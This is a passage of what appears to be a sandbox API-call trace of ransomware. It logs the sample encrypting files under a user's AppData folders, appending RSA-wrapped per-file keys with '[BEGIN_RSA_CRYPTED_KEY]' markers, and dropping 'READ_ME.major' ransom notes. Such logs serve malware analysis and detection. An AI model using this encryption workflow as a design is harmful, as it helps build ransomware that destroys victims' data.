dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a8 [0192.006] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2097152) returned 1 [0192.006] ReadFile (in: hFile=0x9a8, lpBuffer=0x3148020, nNumberOfBytesToRead=0x200000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3148020*, lpNumberOfBytesRead=0x2e3f9b4*=0x200000, lpOverlapped=0x0) returned 1 [0192.086] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=-2097152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.086] WriteFile (in: hFile=0x9a8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x200000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x200000, lpOverlapped=0x0) returned 1 [0192.093] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x200000 [0192.093] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.093] WriteFile (in: hFile=0x9a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.110] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.110] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.111] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.111] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ilSW4MoSW/X0e7XXuhva9UqrO8o8QCMSUoDS0cLVbymXP4nmrF23rwdnfEhAvKm8\nk8ddyBZaWM5z64hJcXnnnno+BXT+uoCxfkfIo8tAyZJMrpRNXKPhWXhMTFwfAazF\nASEXZD27uKMEp4/06f465VCEGeJHRgEfaC2phK0+KU63TDHNdGxuiXI266re9xYi\nvv6/hPIQ8C7oOKfmlPSL40Ba9tnbn6LhxoKj9lWzOOPdziTr4dmNbIdpbxT1KNFF\nE5kyzeWAIxC1LPkWzAWwTon6V4AXro4gW6RhpxHPRmWYXC7IbnMSuRjg+zHoadHI\nJvDOmSIrvDyiFsSqdOx+RA==\n", pcchString=0x2e3f9a8) returned 1 [0192.111] WriteFile (in: hFile=0x9a8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.111] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.111] WriteFile (in: hFile=0x9a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.111] CloseHandle (hObject=0x9a8) returned 1 [0192.116] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.116] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDB00005.log", dwFileAttributes=0x80) returned 1 [0192.117] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDB00005.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\tiledatalayer\\database\\edb00005.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a8 [0192.117] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2097152) returned 1 [0192.117] ReadFile (in: hFile=0x9a8, lpBuffer=0x3147020, nNumberOfBytesToRead=0x200000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x200000, lpOverlapped=0x0) returned 1 [0192.246] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=-2097152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.246] WriteFile (in: hFile=0x9a8, lpBuffer=0x335f020*, nNumberOfBytesToWrite=0x200000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x335f020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x200000, lpOverlapped=0x0) returned 1 [0192.255] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x200000 [0192.255] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.255] WriteFile (in: hFile=0x9a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.270] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.270] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.271] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.271] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="JCX1VBzuO28O4y2zkTXSqt7IWpXo05vRsJhL3r/f7M3XaUfSSwds1fa0dV08aWnQ\nWa4y/gOPmxY0BQCgJQ4KcUL2Xz8d3YsnuB6o3wM8TExXAvaS7HTw3SYxVmg8Qi/C\nGx09GhiKXr4EYwoQJQOSRxfJWiENkgAxBWTb0PuIhlcD9XawkDtut5aLHB+Szf4J\n02V4JqlP2YX6YRk20vPPNn+c8CO6h7TjwDKzmR87NumhCXEsZL6bzAks+KzFn4kr\nNtgPf4SeKm90vLpWPaDLgsLZvbipFIgVYwa1Bq0HBBwqA5MHe+HAK7b3pV98GciF\ntu6PlmQu9NvakJCjULRXUA==\n", pcchString=0x2e3f9a8) returned 1 [0192.271] WriteFile (in: hFile=0x9a8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.271] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.271] WriteFile (in: hFile=0x9a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.271] CloseHandle (hObject=0x9a8) returned 1 [0192.272] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.273] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDB.log", dwFileAttributes=0x80) returned 1 [0192.273] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDB.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\tiledatalayer\\database\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0192.273] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.273] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDB.chk", dwFileAttributes=0x80) returned 1 [0192.274] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDB.chk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\tiledatalayer\\database\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a8 [0192.274] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0192.274] ReadFile (in: hFile=0x9a8, lpBuffer=0x2f89888, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89888*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0192.275] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.275] WriteFile (in: hFile=0x9a8, lpBuffer=0x2f8b890*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8b890*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0192.275] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0192.275] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.275] WriteFile (in: hFile=0x9a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.276] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.276] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.276] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.276] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="WozILi6VEkP7iiYtJmih36t87SCh3ZLb4Fb3ZlTWZLN33X/xUvZjheMny1QM9eOh\nUfmFacJ7beHppR+fNgmLKAcNs9LXv4lqkxhAxZhOwpqqeZUxlsjOVNVcykYHofcg\nSpoB+XY+kATJzvvCSRRTkx0iB5sbcKxhl7RJxsRo/AMzYhUi2bjmJs6tlq22zFgC\nWk1ovrLzfuldXRiYH0M5CkPaviHFdBvJDp1LPxWCo52QcCcJd50SPxpqOBWtC3BO\nRhKRWSdRyYvEybwI3IJW57ZDnV7P03IRmTaLkiF5YXW1HRDgJ8ZLyHPjIDthMJSV\n5WWeYukJ00Bhg3qPiRj1kA==\n", pcchString=0x2e3f9a8) returned 1 [0192.276] WriteFile (in: hFile=0x9a8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.276] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.276] WriteFile (in: hFile=0x9a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.276] CloseHandle (hObject=0x9a8) returned 1 [0192.278] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x246fb69b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87028 [0192.278] FindNextFileW (in: hFindFile=0x2f87028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x246fb69b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.278] FindNextFileW (in: hFindFile=0x2f87028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfb20735, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xdfb20735, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="DC", cAlternateFileName="")) returned 1 [0192.278] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9ac [0192.278] WriteFile (in: hFile=0x9ac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.279] CloseHandle (hObject=0x9ac) returned 1 [0192.279] FindNextFileW (in: hFindFile=0x2f87028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x246fb69b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x246fb69b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x246fb69b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.279] FindNextFileW (in: hFindFile=0x2f87028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x246fb69b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x246fb69b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x246fb69b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0192.279] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x246fb69b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86ae8 [0192.280] FindNextFileW (in: hFindFile=0x2f86ae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x246fb69b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.280] FindNextFileW (in: hFindFile=0x2f86ae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x246fb69b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x246fb69b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x246fb69b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.280] FindNextFileW (in: hFindFile=0x2f86ae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="UserDictionaries", cAlternateFileName="USERDI~1")) returned 1 [0192.280] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9b0 [0192.282] WriteFile (in: hFile=0x9b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.283] CloseHandle (hObject=0x9b0) returned 1 [0192.283] FindNextFileW (in: hFindFile=0x2f86ae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="UserDictionaries", cAlternateFileName="USERDI~1")) returned 0 [0192.283] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86e28 [0192.283] FindNextFileW (in: hFindFile=0x2f86e28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.283] FindNextFileW (in: hFindFile=0x2f86e28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x720729ee, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0192.283] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\java\\deployment\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9b4 [0192.306] WriteFile (in: hFile=0x9b4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.307] CloseHandle (hObject=0x9b4) returned 1 [0192.308] FindNextFileW (in: hFindFile=0x2f86e28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24721824, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24721824, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.308] FindNextFileW (in: hFindFile=0x2f86e28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24721824, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24721824, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0192.308] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86d28 [0192.308] FindNextFileW (in: hFindFile=0x2f86d28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.308] FindNextFileW (in: hFindFile=0x2f86d28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="DC", cAlternateFileName="")) returned 1 [0192.308] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9b8 [0192.309] WriteFile (in: hFile=0x9b8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.310] CloseHandle (hObject=0x9b8) returned 1 [0192.310] FindNextFileW (in: hFindFile=0x2f86d28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24721824, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24721824, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24721824, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, 